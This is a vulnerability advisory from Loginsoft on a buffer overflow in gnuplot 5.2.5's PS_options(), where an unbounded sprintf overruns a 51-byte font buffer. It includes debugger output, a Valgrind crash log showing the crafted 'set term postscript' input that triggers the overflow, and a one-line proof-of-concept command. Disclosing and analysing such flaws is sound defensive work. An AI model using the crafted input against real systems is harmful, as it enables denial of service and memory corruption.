Buffer overflow vulnerability in PS_options() – gnuplot 5.2.5
Loginsoft-2018-17974
November 2, 2018
CWE
CWE-120: Classic Buffer Overflow
Product Details
Gnuplot is a portable command-line driven graphing utility.
URL: https://sourceforge.net/projects/gnuplot/
Vulnerable Versions
5.2.5 branch
Vulnerability Details
During our research on the gnuplot, we found buffer overflow vulnerability. This can be triggered by sending a crafted file to gnuplot. This allows an attacker to cause Denial of Service (Segmentation fault and Memory Corruption) or possibly have unspecified other impacts when a victim opens a specially crafted file.
SYNOPSIS
In our research we found that in function PS_options() in program post.trm, There exists an condition if (ps_params->oldstyle) where the value of ps_params->oldstyle is zero and makes the program enter to the else section, where it calls sprintf() as we observed the basic syntax of sprintf() in this program is sprintf(BUFFERSIZE,char,int). PS_default_font consists of a buffer value of 51. When a crafted input file is sent to the binary, we observed that ps_params->font had a size of 51 and ps_fontsize with size 14. Which buffer size of both ps_params->font ps_fontsize together is larger than the allocated buffer in PS_default_font which triggered a buffer overflow vulnerability.
Analysis
if (ps_params->oldstyle) term->h_char = (unsigned int)(ps_fontsize*PS_SCF*5/10); else term->h_char = (unsigned int)(ps_fontsize*PS_SCF*6/10); sprintf(PS_default_font,"%s,%.2g",ps_params->font,ps_fontsize);
gef➤ p __sprintf
$37 = {int (char *, const char *, ...)} 0x7ffff7555940
gef➤ ptype PS_default_font
type = char [51]
gef➤ p ps_fontsize
$38 = 14
gef➤ p/d ps_params->font
$39 = {99, 111, 105, 116, 108, 101, 100, 97, 115, 119, 101, 100, 45, 108, 119, 45, 49, 45, 34, 68, 101, 95, 97, 86, 117, 83, 97, 115, 116, 115, 99, 114, 105, 112, 116, 115, 101, 116, 45, 111, 117, 116, 112, 82, 116, 45, 34, 116, 101, 109, 0}
gef➤ ptype ps_params
type = struct ps_params_t {
enum PS_TERMINALTYPE terminal;
int xoff;
int yoff;
enum PS_PSFORMAT psformat;
_Bool level1;
_Bool level3;
_Bool color;
_Bool blacktext;
_Bool solid;
float dash_length;
float linewidth_factor;
float pointscale_factor;
_Bool duplex_option;
_Bool duplex_state;
_Bool rounded;
_Bool clipped;
struct ps_fontfile_def *first_fontfile;
char font[51];
float fontsize;
float fontscale;
_Bool useauxfile;
_Bool rotate;
int palfunc_samples;
double palfunc_deviation;
_Bool oldstyle;
_Bool epslatex_standalone;
_Bool adobeglyphnames;
rgb_color background;
} *
ASAN Output
==21975== Memcheck, a memory error detector
==21975== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==21975== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==21975== Command: gnuplot -d -c /home/aceteam/POC
==21975==
set term postscript port enhanced'coitledaswed lw 1 "De_aVuSastscriptset outpRt "tempNps"'
^
*** buffer overflow detected ***: gnuplot terminated
==21975==
==21975== Process terminating with default action of signal 6 (SIGABRT)
==21975== at 0x562AE97: raise (raise.c:51)
==21975== by 0x562C800: abort (abort.c:79)
==21975== by 0x5675896: __libc_message (libc_fatal.c:181)
==21975== by 0x5720CFE: __fortify_fail_abort (fortify_fail.c:33)
==21975== by 0x5720D20: __fortify_fail (fortify_fail.c:44)
==21975== by 0x571EA0F: __chk_fail (chk_fail.c:28)
==21975== by 0x571DF28: _IO_str_chk_overflow (vsprintf_chk.c:31)
==21975== by 0x567A493: _IO_default_xsputn (genops.c:417)
==21975== by 0x56479A9: vfprintf (vfprintf.c:1674)
==21975== by 0x571DFCA: __vsprintf_chk (vsprintf_chk.c:82)
==21975== by 0x571DEF9: __sprintf_chk (sprintf_chk.c:31)
==21975== by 0x4ACEBC: sprintf (stdio2.h:33)
==21975== by 0x4ACEBC: PS_options (post.trm:1197)
==21975==
==21975== HEAP SUMMARY:
==21975== in use at exit: 27,001 bytes in 144 blocks
==21975== total heap usage: 230 allocs, 86 frees, 160,952 bytes allocated
==21975==
==21975== LEAK SUMMARY:
==21975== definitely lost: 0 bytes in 0 blocks
==21975== indirectly lost: 0 bytes in 0 blocks
==21975== possibly lost: 0 bytes in 0 blocks
==21975== still reachable: 27,001 bytes in 144 blocks
==21975== suppressed: 0 bytes in 0 blocks
==21975== Rerun with --leak-check=full to see details of leaked memory
==21975==
==21975== For counts of detected and suppressed errors, rerun with: -v
==21975== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
Aborted
Proof of Concept
gnuplot -d –c $POC
Timeline
Vendor Disclosure: 2018-11-02
Public Disclosure: 2018-11-03
Credit
Discovered by ACE Team – Loginsoft